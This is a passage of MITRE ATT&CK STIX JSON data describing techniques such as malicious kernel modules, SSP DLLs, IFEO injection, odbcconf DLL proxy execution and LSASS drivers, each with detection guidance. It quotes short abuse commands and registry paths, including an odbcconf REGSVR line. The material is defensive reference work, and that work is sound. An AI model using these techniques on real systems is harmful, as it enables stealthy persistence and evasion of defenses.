                    "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Synack Secure Kernel Extension Broken",
                    "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.",
                    "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/"
                },
                {
                    "source_name": "Securelist Ventir",
                    "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.",
                    "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/"
                },
                {
                    "source_name": "Wikipedia Loadable Kernel Module",
                    "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux"
                },
                {
                    "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs",
                    "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.",
                    "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html"
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            "modified": "2025-04-25T15:15:41.330Z",
            "name": "Kernel Modules and Extensions",
            "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jeremy Galloway",
                "Red Canary"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0\nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code>\n\nOn RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe insmod lsmod rmmod modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS"
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446",
            "created": "2017-05-31T21:31:13.447Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1101",
                    "external_id": "T1101"
                },
                {
                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
                },
                {
                    "source_name": "Microsoft Configure LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
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            "modified": "2025-04-25T15:15:41.535Z",
            "name": "Security Support Provider",
            "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413",
            "created": "2020-10-02T16:01:35.350Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1590/006",
                    "external_id": "T1590.006"
                },
                {
                    "source_name": "Nmap Firewalls NIDS",
                    "description": "Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020.",
                    "url": "https://nmap.org/book/firewalls.html"
                }
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            "modified": "2025-04-15T22:52:16.483Z",
            "name": "Network Security Appliances",
            "description": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
            "created": "2020-01-24T15:05:58.384Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/012",
                    "external_id": "T1546.012"
                },
                {
                    "source_name": "FSecure Hupigon",
                    "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
                    "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Microsoft Silent Process Exit NOV 2017",
                    "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit"
                },
                {
                    "source_name": "Microsoft GFlags Mar 2017",
                    "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview"
                },
                {
                    "source_name": "Oddvar Moe IFEO APR 2018",
                    "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
                    "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/"
                },
                {
                    "source_name": "Microsoft Dev Blog IFEO Mar 2010",
                    "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
                    "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
                },
                {
                    "source_name": "Symantec Ushedix June 2008",
                    "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
                },
                {
                    "source_name": "Tilbury 2014",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/"
                }
            ],
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            "modified": "2025-04-15T19:58:39.823Z",
            "name": "Image File Execution Options Injection",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe -g  notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Oddvar Moe, @oddvarmoe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071",
            "created": "2020-01-24T15:01:32.917Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/008",
                    "external_id": "T1218.008"
                },
                {
                    "source_name": "Microsoft odbcconf.exe",
                    "description": "Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.",
                    "url": "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017"
                },
                {
                    "source_name": "LOLBAS Odbcconf",
                    "description": "LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/"
                },
                {
                    "source_name": "TrendMicro Squiblydoo Aug 2017",
                    "description": "Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/"
                },
                {
                    "source_name": "TrendMicro Cobalt Group Nov 2017",
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:47:01.231Z",
            "name": "Odbcconf",
            "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Module: Module Load"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968",
            "created": "2020-10-02T16:50:12.809Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1593/002",
                    "external_id": "T1593.002"
                },
                {
                    "source_name": "SecurityTrails Google Hacking",
                    "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.",
                    "url": "https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks"
                },
                {
                    "source_name": "ExploitDB GoogleHacking",
                    "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.",
                    "url": "https://www.exploit-db.com/google-hacking-database"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:03:45.401Z",
            "name": "Search Engines",
            "description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1177",
                    "external_id": "T1177"
                },
                {
                    "source_name": "Microsoft Security Subsystem",
                    "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
                    "url": "https://technet.microsoft.com/library/cc961760.aspx"
                },
                {
                    "source_name": "Microsoft LSA Protection Mar 2014",
                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
                    "url": "https://technet.microsoft.com/library/dn408187.aspx"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Microsoft DLL Security",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:42.032Z",
            "name": "LSASS Driver",
            "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vincent Le Toux"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f",
            "created": "2020-10-02T16:27:55.713Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1591/002",
                    "external_id": "T1591.002"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:54:59.306Z",
            "name": "Business Relationships",
            "description": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6fa224c7-5091-4595-bf15-3fc9fe2f2c7c",
            "created": "2023-07-10T16:37:15.672Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548/005",
                    "external_id": "T1548.005"
                },
                {
                    "source_name": "AWS PassRole",
                    "description": "AWS. (n.d.). Granting a user permissions to pass a role to an AWS service. Retrieved July 10, 2023.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html"
                },
                {
                    "source_name": "CrowdStrike StellarParticle January 2022",
                    "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
                    "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
                },
                {
                    "source_name": "Google Cloud Just in Time Access 2023",
                    "description": "Google Cloud. (n.d.). Manage just-in-time privileged access to projects. Retrieved September 21, 2023.",
                    "url": "https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project"
                },
                {
                    "source_name": "Google Cloud Service Account Authentication Roles",
                    "description": "Google Cloud. (n.d.). Roles for service account authentication. Retrieved July 10, 2023.",
                    "url": "https://cloud.google.com/iam/docs/service-account-permissions"
                },
                {
                    "source_name": "Microsoft Impersonation and EWS in Exchange",
                    "description": "Microsoft. (2022, September 13). Impersonation and EWS in Exchange. Retrieved July 10, 2023.",
                    "url": "https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange"
                },
                {
                    "source_name": "Azure Just in Time Access 2023",
                    "description": "Microsoft. (2023, August 29). Configure and approve just-in-time access for Azure Managed Applications. Retrieved September 21, 2023.",
                    "url": "https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access"
                },
                {
                    "source_name": "Rhino Security Labs AWS Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
                },
                {
                    "source_name": "Rhino Google Cloud Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform \u2013 Part 1 (IAM). Retrieved September 21, 2023.",
                    "url": "https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/"
                },
                {
                    "source_name": "Hunters Domain Wide Delegation Google Workspace 2023",
                    "description": "Yonatan Khanashvilli. (2023, November 28). DeleFriend: Severe design flaw in Domain Wide Delegation could leave Google Workspace vulnerable for takeover. Retrieved January 16, 2024.",
